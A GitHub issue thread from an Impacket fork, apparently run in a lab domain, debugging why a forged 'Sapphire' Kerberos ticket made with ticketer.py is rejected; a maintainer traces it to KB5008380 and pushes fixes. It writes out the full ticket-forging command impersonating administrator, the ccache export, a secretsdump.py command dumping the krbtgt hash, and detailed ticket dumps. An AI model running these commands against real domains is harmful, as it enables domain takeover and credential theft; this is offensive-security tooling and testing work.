-
Notifications
You must be signed in to change notification settings - Fork 3.6k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Tickerter Sapphire ticket issue #1605
Comments
@ShutdownRepo FYI |
The |
@ShutdownRepo , describe ticket
Impacket for Exegol - v0.10.1.dev1+20230828.161954.3f48a55e - Copyright 2022 Fortra - forked by ThePorgs
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 665274625a666351596166594e5375694c666a766e76724958464466786e5377
[*] User Name : userone
[*] User Realm : ADLAB.COM
[*] Service Name : krbtgt/ADLAB.COM
[*] Service Realm : ADLAB.COM
[*] Start Time : 06/09/2023 15:28:57 PM
[*] End Time : 07/09/2023 01:28:57 AM
[*] RenewTill : 07/09/2023 15:28:57 PM
[*] Flags : (0x50e50000) forwardable, proxiable, renewable, initial, pre_authent, ok_as_delegate, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : ZlJ0YlpmY1FZYWZZTlN1aUxmanZudnJJWEZEZnhuU3c=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/adlab.com
[*] Service Realm : ADLAB.COM
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*] LoginInfo
[*] Logon Time : 06/09/2023 11:28:57 AM
[*] Logoff Time : Infinity (absolute time)
[*] Kickoff Time : Infinity (absolute time)
[*] Password Last Set : 10/04/2023 04:10:22 AM
[*] Password Can Change : 11/04/2023 04:10:22 AM
[*] Password Must Change : Infinity (absolute time)
[*] LastSuccessfulILogon : Infinity (absolute time)
[*] LastFailedILogon : Infinity (absolute time)
[*] FailedILogonCount : 0
[*] Account Name : userone
[*] Full Name : user one
[*] Logon Script :
[*] Profile Path :
[*] Home Dir :
[*] Dir Drive :
[*] Logon Count : 426
[*] Bad Password Count : 0
[*] User RID : 1103
[*] Group RID : 513
[*] Group Count : 1
[*] Groups : 513
[*] Groups (decoded) : (513) Domain Users
[*] User Flags : (32) LOGON_EXTRA_SIDS
[*] User Session Key : 00000000000000000000000000000000
[*] Logon Server : WIN-3MBDJTT1P21
[*] Logon Domain Name : ADLAB
[*] Logon Domain SID : S-1-5-21-991381806-4095455566-2546632930
[*] User Account Control : (8720) USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD, USER_TRUSTED_FOR_DELEGATION
[*] Extra SID Count : 1
[*] Extra SIDs : S-1-18-2 Service asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*] Resource Group Domain SID :
[*] Resource Group Count : 0
[*] Resource Group Ids :
[*] LMKey : 0000000000000000
[*] SubAuthStatus : 0
[*] Reserved3 : 0
[*] ClientName
[*] Client Id : 06/09/2023 11:28:57 AM
[*] Client Name : userone
[*] UpnDns
[*] Flags : (2) S_SidSamSupplied
[*] UPN : userone@adlab.com
[*] DNS Domain Name : ADLAB.COM
[*] SamAccountName : userone
[*] UserSid : S-1-5-21-991381806-4095455566-2546632930-1103
[*] ServerChecksum
[*] Signature Type : hmac_sha1_96_aes256
[*] Signature : 323030dcfb8e1b872bc06989
[*] KDCChecksum
[*] Signature Type : hmac_sha1_96_aes256
[*] Signature : f6da234e225e7febd9b55788 Please let me know if you need any further details and testing |
I'd need the regular TGT for |
Here you go
|
userone.ccache.zip |
that's what I thought, structures Lines 652 to 662 in d7b5e37
I won't be able to debug that just yet, would you be able to try debugging and find out where's the wrong happening? |
Sure, I will give it a try |
So, from the tests we made together with @kaleemshaik7867 today, what's happening is Sapphire Ticket takes an initial ticket's PAC and "copies" it into a new one. The initial ticket is obtained through S4U2self + U2U. |
Additional testing indicates that the structures go missing after a regular ST request with |
This issue can be closed. I figured it out and pushed fixes. Enforced KB5008380 was the root cause. |
Thank you, @ShutdownRepo, for your exceptional support in closing the issue. |
Glad we sorted it out, thank you for the great help |
* Adding -impersonate flag to ingest S4U2self+U2U TGT * Functional version * Commenting out duration customization for sapphire * Fixes #1605 * Adding AD_IF_RELEVANT reference * Fixing undefined tgt session key and wrong cname for impersonation * Adding missing and ignored params
Configuration
impacket version: 0.10.1.dev1+20230828.161954.3f48a55e
Python version: 3.11.4
Target OS: Kali Linux
I tried to create a sapphire ticket using ticketer.py. The ccache file has been created, but when I try to use it with wmiexec.py or secretsdump.py, I get an error saying TGT revoked
Tickerter Command
ticketer.py -request -impersonate 'administrator' -domain 'adlab.com' -user 'normaldomainuser' -mypassword' -aesKey 'Krgtgtaeskey' -domain-sid 'S-1-5-21-991381806-4095455566-2546632930' -dc-ip 192.168.126.200 'administrator' -debug
Debug info attached
Debug info.txt
![image](https://private-user-images.githubusercontent.com/7692857/265971045-75b3fde5-330a-406a-bf80-906bc00b5314.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkzMjA5ODUsIm5iZiI6MTczOTMyMDY4NSwicGF0aCI6Ii83NjkyODU3LzI2NTk3MTA0NS03NWIzZmRlNS0zMzBhLTQwNmEtYmY4MC05MDZiYzAwYjUzMTQucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI1MDIxMiUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTAyMTJUMDAzODA1WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ODJmOWE0NTcxZDg2YmQ1Yjk4NTIxYmMwOTRlYjE0YTg5Yjk2ZmQ5MTg3NTkyOTQ5MDJkODQzZTZhMTQ1MzhhMiZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QifQ.-sIPTfsci3yQAVmt26pqzreKHfVsgVH3HZjppIKsYQI)
Export the cache file
export KRB5CCNAME=~/Desktop/tools/impacket-theporgs/administrator.ccache
Secretsdumpy
secretsdump.py adlab.com/administrator@192.168.126.200 -dc-ip 192.168.126.200 -just-dc-user krbtgt -k -no-pass -debug
Describe the ticket
The text was updated successfully, but these errors were encountered: